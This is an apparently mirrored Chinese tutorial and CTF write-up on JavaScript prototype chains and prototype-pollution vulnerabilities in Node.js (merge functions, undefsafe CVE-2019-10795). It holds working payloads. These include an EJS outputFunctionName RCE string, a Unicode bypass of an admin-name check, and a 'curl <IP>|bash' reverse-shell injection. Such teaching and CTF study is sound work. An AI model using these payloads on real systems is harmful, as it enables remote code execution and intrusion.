2

从浅入深 Javascript 原型链与原型链污染

 2 years ago
source link: https://www.anquanke.com/post/id/242645
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
robots

JavaScript 是一门非常灵活的语言,与 PHP 相比起来更加灵活。除了传统的 SQL 注入、代码执行等注入型漏洞外,也会有一些独有的安全问题,比如今天要说这个原型链污染。本篇文章就让我们来学习一下 NodeJS 原型链与原型链污染的原理。

Javascript 原型链与继承

在 JavaScript 中,没有父类和子类这个概念,也没有类和实例的区分,而 JavaScript 中的继承关系则是靠一种叫做 “原型链” 的模式来实现的。

当我们谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性( __proto__)指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象( __proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。我们可以通过以下方式访问得到某一实例对象的原型对象:

objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

在创建对象时,就会有一些预定义的属性。其中在定义函数的时候,这个预定义属性就是 prototype,这个 prototype 是一个普通的原型对象。

而定义普通的对象的时候,就会生成一个 __proto__,这个 __proto__ 指向的是这个对象的构造函数的 prototype。

JavaScript 对象是动态的属性“包”(指其自己的属性)。JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。

不同对象所生成的原型链如下(部分):

var o = {a: 1};
// o对象直接继承于 Object.prototype
// 原型链: o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链: a ---> Array.prototype ---> Object.prototype ---> null

function f(){
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链: f ---> Function.prototype ---> Object.prototype ---> null

这里演示当尝试访问属性时会发生什么:

// 让我们从一个函数里创建一个对象o, 它自身拥有属性a和b的:
let f = function () {
   this.a = 1;
   this.b = 2;
}
/* 这么写也一样
function f() {
  this.a = 1;
  this.b = 2;
}
*/
let o = new f(); // {a: 1, b: 2}

// 在 f 函数的原型对象上定义属性
f.prototype.b = 3;
f.prototype.c = 4;

// 不要在 f 函数的原型上直接定义 f.prototype = {b:3,c:4};, 这样会直接打破原型链
// o.[[Prototype]] 有属性 b 和 c
//  (其实就是 o.__proto__ 或者 o.constructor.prototype)
// o.[[Prototype]].[[Prototype]] 是 Object.prototype.
// 最后o.[[Prototype]].[[Prototype]].[[Prototype]]是null
// 这就是原型链的末尾,即 null,
// 根据定义,null 就是没有 [[Prototype]]。

// 综上,整个原型链如下:

// {a:1, b:2} ---> {b:3, c:4} ---> Object.prototype---> null

console.log(o.a); // 输出 1
// a是o的自身属性吗?是的,该属性的值为 1

console.log(o.b); // 输出 2
// b是o的自身属性吗?是的,该属性的值为 2
// 原型上也有一个'b'属性,但是它不会被访问到。
// 这种情况被称为"属性遮蔽 (property shadowing)"

console.log(o.c); // 输出 4
// c是o的自身属性吗?不是,那看看它的原型上有没有
// c是o.[[Prototype]]的属性吗?是的,该属性的值为 4

console.log(o.d); // 输出 undefined
// d 是 o 的自身属性吗?不是,那看看它的原型上有没有
// d 是 o.[[Prototype]] 的属性吗?不是,那看看它的原型上有没有
// o.[[Prototype]].[[Prototype]] 为 null,停止搜索
// 找不到 d 属性,返回 undefined

JavaScript 并没有其他基于类的语言所定义的 “方法”。在 JavaScript 里,任何函数都可以添加到对象上作为对象的属性。函数的继承与其他的属性继承没有差别,包括上面的 “属性遮蔽”(这种情况相当于其他语言的方法重写)。

接下来,我们仔细分析一下在下面这些应用场景中, JavaScript 在背后做了哪些事情。

为了最佳的学习体验,我们强烈建议阁下打开浏览器的控制台,进入“console”选项卡,然后运行代码。

function doSomething(){}
console.log(doSomething.prototype);
// 和声明函数的方式无关,
// JavaScript 中的函数永远有一个默认原型属性。
var doSomething = function(){};
console.log(doSomething.prototype);

正如之前提到的,在 JavaScript 中,函数(function)是允许拥有属性的。所有的函数会有一个特别的属性 —— prototype 。在控制台显示的JavaScript代码块中,我们可以看到 doSomething 函数的一个默认属性 prototype:

控制台中主要的显示应该类似如下的结果:

{
    constructor: ƒ doSomething(),
    __proto__: {
        constructor: ƒ Object(),
        hasOwnProperty: ƒ hasOwnProperty(),
        isPrototypeOf: ƒ isPrototypeOf(),
        propertyIsEnumerable: ƒ propertyIsEnumerable(),
        toLocaleString: ƒ toLocaleString(),
        toString: ƒ toString(),
        valueOf: ƒ valueOf()
    }
}

我们可以给 doSomething 函数的原型对象添加新属性,如下:

function doSomething(){}
doSomething.prototype.foo = "bar";
console.log(doSomething.prototype);

可以看到运行后的结果如下:

控制台中主要的显示应该类似如下的结果:

{
    foo: "bar",
    constructor: ƒ doSomething(),
    __proto__: {
        constructor: ƒ Object(),
        hasOwnProperty: ƒ hasOwnProperty(),
        isPrototypeOf: ƒ isPrototypeOf(),
        propertyIsEnumerable: ƒ propertyIsEnumerable(),
        toLocaleString: ƒ toLocaleString(),
        toString: ƒ toString(),
        valueOf: ƒ valueOf()
    }
}

现在我们可以通过 new 操作符来创建基于这个原型对象的 doSomething 实例。使用 new 操作符,只需在调用 doSomething 函数语句之前添加new。这样,便可以获得这个函数的一个实例对象,一些属性就可以添加到该原型对象中。

请尝试运行以下代码:

function doSomething(){}
doSomething.prototype.foo = "bar"; // add a property onto the prototype
var doSomeInstancing = new doSomething();
doSomeInstancing.prop = "some value"; // add a property onto the object
console.log(doSomeInstancing);

可以看到运行后的结果如下:

控制台中主要的显示应该类似如下的结果:

{
    prop: "some value",
    __proto__: {
        foo: "bar",
        constructor: ƒ doSomething(),
        __proto__: {
            constructor: ƒ Object(),
            hasOwnProperty: ƒ hasOwnProperty(),
            isPrototypeOf: ƒ isPrototypeOf(),
            propertyIsEnumerable: ƒ propertyIsEnumerable(),
            toLocaleString: ƒ toLocaleString(),
            toString: ƒ toString(),
            valueOf: ƒ valueOf()
        }
    }
}

如上所示,doSomeInstancing 中的 __proto__doSomething.prototype 。但这是做什么的呢?当你访问 doSomeInstancing 中的一个属性时,浏览器首先会查看 doSomeInstancing 中是否存在这个属性。

如果 doSomeInstancing 不包含属性信息,那么浏览器会在 doSomeInstancing 的 __proto__ 中进行查找(同 doSomething.prototype)。如属性在 doSomeInstancing 的 __proto__ 中查找到,则使用 doSomeInstancing 中 __proto__ 的属性。

否则,如果 doSomeInstancing 中 __proto__ 不具有该属性,则检查 doSomeInstancing 的 __proto____proto__ 是否具有该属性,也就是通过 doSomething.prototype__proto__Object.prototype 来查找该属性。

如果属性不存在 doSomeInstancing 的 __proto____proto__ 中, 那么就会在doSomeInstancing 的 __proto____proto____proto__ 中查找。然而,这里存在个问题:doSomeInstancing 的 __proto____proto____proto__ 其实不存在。因此,只有这样,在 __proto__ 的整个原型链被查看之后,这里没有更多的 __proto__ , 浏览器断言该属性不存在,并给出属性值为 undefined 的结论。

Javascript 原型链污染漏洞原理

我们来看看下面这个语句:

object[a][b] = value

如果我们可以控制 a、b、value 的值,将 a 设置为__proto__,那么我们就可以给 object 对象的原型设置一个 b 属性,值为 value。这样所有继承 object 对象原型的实例对象就会在本身不拥有 b 属性的情况下,都会拥有b属性,且值为value。

来看一个简单的例子:

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);

最终会输出两个 Hello World。为什么 object2 在没有设置 foo 属性的情况下,也会输出 Hello World 呢?就是因为在第二条语句中,我们对 object1 的原型对象设置了一个 foo 属性,而 object2 和 object1 一样,都是继承了 Object.prototype。在获取 object2.foo 时,由于 object2 本身不存在 foo 属性,就会往父类 Object.prototype 中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

Merge 类操作导致原型链污染

Merge 类操作是最常见可能控制键名的操作,也最能被原型链攻击。

给出一个例子:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

最终输出的结果为:

可见 object3 的 b 是从原型中获取到的,说明 Object 已经被污染了。这是因为,在 JSON 解析的情况下,__proto__ 会被认为是一个真正的 “键名”,而不代表“原型”,所以在遍历 object2 的时候会存在这个键,所以 Object 理所应当的便被污染了。

下面分析一下 Merge() 为什么不安全:

  • 这个函数对 source 对象中的所有属性进行迭代(因为对象 source 在键值对相同的情况下拥有更高的优先级)
  • 如果属性同时存在于第一个和第二个参数中,且他们都是 Object,它就会递归地合并这个属性。
  • 现在我们如果控制 source[key] 的值,使其值变成 __proto__,且我们能控制 source__proto__ 属性的值,在递归的时候,target[key] 在某个特定的时候就会指向对象 targetprototype,我们就能成功地添加一个新的属性到该对象的原型链中了。

这就是最典型的一个原型链污染的例子,下面我们看几道 CTF 中原型链污染的例题。

[GYCTF2020]Ez_Express

进入题目,一个登录框:

下载 www.zip 得到源码,然后对源码进行审计,routes 路径下有个 index.js:

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;

const merge = (a, b) => {    // 发现 merge 危险操作
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});


router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),    // 变成大写
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }

  }
  res.redirect('/');
});
router.post('/action', function (req, res) {    // /action 路由只能 admin 用户访问
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);    // 使用了之前定义的 merge 危险操作
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

源码中用了 merge()clone(),那必定是原型链污染了。往下找到调用 clone() 的位置:

router.post('/action', function (req, res) {    // /action路由只能admin用户访问
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);    // 使用了之前定义的危险的merge操作
  res.end("<script>alert('success');history.go(-1);</script>");  
});

可见,当我们登上 admin 用户后,便可以发送 POST 数据来进行原型链污染了。但是要污染哪一个参数呢,我们继续向下看到 /info 路由:

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

可以看到在 /info 下,将 res 对象中的 outputFunctionName 属性渲染入 index 中,而 outputFunctionName 是未定义的:

res.outputFunctionName=undefined;

所以我们就污染 outputFunctionName 属性吧。

但是需要admin账号才能用到 clone(),于是去到 /login 路由处:

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){    // 注册的用户的userid不能是admin
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),    // 变成大写
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }

  }
  res.redirect('/'); ;
});

可以看到注册的用户名不能为 admin(大小写),不过有个地方可以注意到:

'user':req.body.userid.toUpperCase(),

这里将user给转为大写了,这种转编码的通常都很容易出问题,具体请参考 p 牛的文章 《Fuzz中的javascript大小写特性》

我们可以注册一个 admın(此admın非彼admin,仔细看i部分):

特殊字符绕过:

toUpperCase()

我们可以在其中混入了两个奇特的字符”ı”、”ſ”。这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。

toLowerCase()

这个”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.

注册后成功登录admin用户:

让我们输入自己最喜欢的语言,这里我们就可以发送 Payload 进行原型链污染了:

{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

输入后抓包:

并将 Content-Type 设为 application/json,POST Body 部分改为 Json 格式的数据并加上Payload:

然后访问 /info 路由即可得到flag:

Nullcon HackIM

再来看看 Nullcon HackIM 中的一个例子:

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())    // 调用中间件解析json
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

代码很简单,还是使用了 Merge 危险操作,存在原型链污染,因此最简单的 Payload 就是:

{"__proto__": {"admin": 1}}

Undefsafe 模块原型链污染(CVE-2019-10795)

不光是 Merge 操作容易造成原型链污染,undefsafe 模块也可以原型链污染。undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。

undefsafe 模块使用

我们先简单测试一下该模块的使用:

var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object.a.b.e)
// skysec

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:

console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题:

var a = require("undefsafe");

console.log(a(object,'a.b.e'))
// skysec
console.log(object.a.b.e)
// skysec
console.log(a(object,'a.c.e'))
// undefined
console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回 undefined 了。

同时在对对象赋值时,如果目标属性存在:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.b.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: '123' } } }

我们可以看到,其可以帮助我们修改对应属性的值。如果当属性不存在时,我们想对该属性赋值:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并赋值。

undefsafe 模块漏洞分析

通过以上演示我们可知,undefsafe 是一款支持设置值的函数。但是 undefsafe 模块在小于2.0.3版本,存在原型链污染漏洞(CVE-2019-10795)。

我们在 2.0.3 版本中进行测试:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

但是如果在低于 2.0.3 版本运行,则会得到如下输出:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
//evilstring

可见,当 undefsafe() 函数的第 2,3 个参数可控时,我们可以污染 object 对象中的值。

再来看一个简单例子:

var a = require("undefsafe");
var test = {}
console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接
// this is [object Object]

返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:

a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接
// this is just a evil!

可以看到最终输出了 “this is just a evil!”。这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,会自动其触发 toString 方法。但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。

下面我们来看一道例题。

[网鼎杯 2020 青龙组]notes

题目给了源码:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};    // 定义了一个字典,在后面的攻击过程中会用到
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');    // 设置模板引擎为pug

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')    // 该路由中 undefsafe 三个参数均可控
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')    // 漏洞点,只要将字典 commands 给污染了, 就能任意执行我们的命令
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);    // 将命令执行结果输出
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

我们注意到其使用了 undefsafe 模块,那么如果我们可以操纵其第 2、3 个参数,即可进行原型链污染,则可使目标网站存在风险。故此,我们首先要寻找 undefsafe 的调用点:

get_note(id) {
    var r = {}
    undefsafe(r, id, undefsafe(this.note_list, id));
    return r;
}

edit_note(id, author, raw) {
    undefsafe(this.note_list, id + '.author', author);
    undefsafe(this.note_list, id + '.raw_note', raw);
}

发现在查看 note 和编辑 note 时会调用 undefsafe,那我们首先查看 get_note 方法会被哪个路由调用:

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

发现此时虽然 q 参数可控,但是也只有 q 参数可控,也就是说我们只能控制 undefsave 函数的第二个参数,而 undefsave 函数的第三个参数我们控制不了。

而对于 edit_note 方法,我们发现 edit_note 路由中会调用 edit_note 方法:

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

此时 id、author 和 raw 均为我们的可控值,那么我们则可以操纵原型链进行污染:

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现 /status 路由有命令执行的操作:

app.route('/status')    // 漏洞点,只要将字典commands给污染了,就能执行我们的任意命令
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);    // 将命令执行结果输出
            });
        }
        res.send('OK');
        res.end();
    })

那我们的思路就来了,我们可以通过 /edit_note 路由污染 note_list 对象的原型,比如加入某个命令,由于 commands 和 note_list 都继承自同一个原型,那么在遍历 commands 时便会取到我们污染进去的恶意命令并执行。

在 VPS 上面创建一个反弹 Shell 的文件,然后等待目标主机去 Curl 访问并执行他:

在目标主机执行 Payload:

POST /edit_note

id=__proto__.aaa&author=curl 47.101.57.72|bash&raw=lalala;

再访问 /status 路由,利用污染后的结果进行命令执行,成功反弹 Shell 并得到 flag:

Ending……

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

https://xz.aliyun.com/t/7184


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK